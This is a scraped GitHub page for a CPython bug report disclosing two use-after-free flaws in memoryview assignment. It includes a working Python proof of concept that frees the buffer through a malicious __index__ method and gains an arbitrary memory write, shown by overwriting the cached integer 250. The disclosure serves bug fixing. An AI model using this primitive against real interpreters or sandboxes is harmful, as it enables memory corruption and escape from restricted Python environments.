Title: Use After Free when assigning into a memoryview · Issue #92888 · python/cpython · GitHub
Open Graph Title: Use After Free when assigning into a memoryview · Issue #92888 · python/cpython
X Title: Use After Free when assigning into a memoryview · Issue #92888 · python/cpython
Description: Bug report within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub. The first is if a class with a malicious __index__ method is used as the index for the assignment, its index method is called after the m...
Open Graph Description: Bug report within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub. The first is if a class with a malicious __index__ method is used as the index for the assignment...
X Description: Bug report within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub. The first is if a class with a malicious __index__ method is used as the index for the assignment...
Opengraph URL: https://github.com/python/cpython/issues/92888
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Use After Free when assigning into a memoryview","articleBody":"\u003c!--\r\n If you're new to Python and you're not sure whether what you're experiencing is a bug, the CPython issue tracker is not\r\n the right place to seek help. Consider the following options instead:\r\n\r\n - reading the Python tutorial: https://docs.python.org/3/tutorial/\r\n - posting in the \"Users\" category on discuss.python.org: https://discuss.python.org/c/users/7\r\n - emailing the Python-list mailing list: https://mail.python.org/mailman/listinfo/python-list\r\n - searching our issue tracker (https://github.com/python/cpython/issues) to see if\r\n your problem has already been reported\r\n--\u003e\r\n\r\n**Bug report**\r\n\r\nwithin memoryview.c, I have found two Use After Frees, both based around `memory_ass_sub`. \r\nThe first is if a class with a malicious `__index__` method is used as the index for the assignment, its index method is called after the memoryview is checked if it is released. This allows the index method to release the memory view and backing buffer, leading to a write to freed memory when the write completes. The same vuln exists if the class with a malicious index method is used as the assigned value, as its `__index__` method is called inside of `pack_single`\r\n\r\n```py\r\n# memoryview Use After Free (memory_ass_sub)\r\nuaf_backing = bytearray(bytearray.__basicsize__)\r\nuaf_view = memoryview(uaf_backing).cast('n') # ssize_t format\r\n\r\nclass weird_index:\r\n def __index__(self):\r\n global memory_backing\r\n uaf_view.release() # release memoryview (UAF)\r\n # free `uaf_backing` memory and allocate a new bytearray into it\r\n memory_backing = uaf_backing.clear() or bytearray()\r\n return 2 # `ob_size` idx\r\n\r\n# by the time this line finishes executing, it writes the max ptr size\r\n# into the `ob_size` slot of `memory_backing`\r\nuaf_view[weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2\r\nmemory = memoryview(memory_backing)\r\nmemory[id(250) + int.__basicsize__] = 100\r\nprint(250) # prints 100\r\n```\r\n\r\n**Your environment**\r\n\r\n\u003c!-- Include as many relevant details as possible about the environment you experienced the bug in --\u003e\r\n\r\n- CPython versions tested on: Python 3.10.2 (main, Feb 2 2022, 07:36:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin\r\n- Operating system and architecture: MacOS, 64bit\r\n\r\n\u003c!--\r\nYou can freely edit this text. Remove any lines you believe are unnecessary.\r\n--\u003e\r\n","author":{"url":"https://github.com/chilaxan","@type":"Person","name":"chilaxan"},"datePublished":"2022-05-17T18:35:03.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":11},"url":"https://github.com/92888/cpython/issues/92888"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:26bb6304-2798-9a54-b293-1f93ee5dd28f |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 9830:1069C6:94E5AE:C790DC:69697E17 |
| html-safe-nonce | 247090e04b2a6878e96005947146d9765152d474304dae4b18df21acd37f9b15 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5ODMwOjEwNjlDNjo5NEU1QUU6Qzc5MERDOjY5Njk3RTE3IiwidmlzaXRvcl9pZCI6IjMwMTU1NzMxODM5ODE1MTgzNTkiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 988ffeec842b73ac890ddd85172d2a4122b1d60d39c5135dd21057c0f458c13c |
| hovercard-subject-tag | issue:1239018638 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/python/cpython/92888/issue_layout |
| twitter:image | https://opengraph.githubassets.com/e04e73dce245aed183530ebc4a2958d2c3851e08165372144995f370cf92e9e7/python/cpython/issues/92888 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/e04e73dce245aed183530ebc4a2958d2c3851e08165372144995f370cf92e9e7/python/cpython/issues/92888 |
| og:image:alt | Bug report within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub. The first is if a class with a malicious __index__ method is used as the index for the assignment... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | chilaxan |
| hostname | github.com |
| expected-hostname | github.com |
| None | f33e4b94c8824ab2b434d82a94139432fb5ebee9df4b75304140ad22508c4a77 |
| turbo-cache-control | no-preview |
| go-import | github.com/python/cpython git https://github.com/python/cpython.git |
| octolytics-dimension-user_id | 1525981 |
| octolytics-dimension-user_login | python |
| octolytics-dimension-repository_id | 81598961 |
| octolytics-dimension-repository_nwo | python/cpython |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 81598961 |
| octolytics-dimension-repository_network_root_nwo | python/cpython |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 48f380098b30acbb700b04f1724481ca10d574fc |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width